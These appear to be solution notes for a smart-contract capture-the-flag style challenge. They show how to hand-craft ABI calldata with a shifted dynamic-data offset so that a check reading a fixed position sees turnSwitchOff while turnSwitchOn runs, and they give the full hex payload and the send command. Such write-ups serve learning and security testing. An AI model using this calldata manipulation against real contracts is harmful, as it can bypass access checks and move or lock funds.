• Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.
  • Send calldata as follows:
    • Function selector of flipSwitch → 30c13ade
    • Pointer to data part of first argument (bytes _data), 4th block (0x60), points to function selector of turnSwitchOn → 0000000000000000000000000000000000000000000000000000000000000060
    • Random data to fill gap → 0x00 (32 bytes)
    • Function selector of turnSwitchOff → 20606e1500000000000000000000000000000000000000000000000000000000
    • Start of argument, indicates length in bytes (4 bytes) → 0000000000000000000000000000000000000000000000000000000000000004
    • Actual data, function selector of turnSwitchOn → 76227e1200000000000000000000000000000000000000000000000000000000
  • Thus, our calldata is : 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000
  • Send transaction as follows, contract.sendTransaction({data:payload})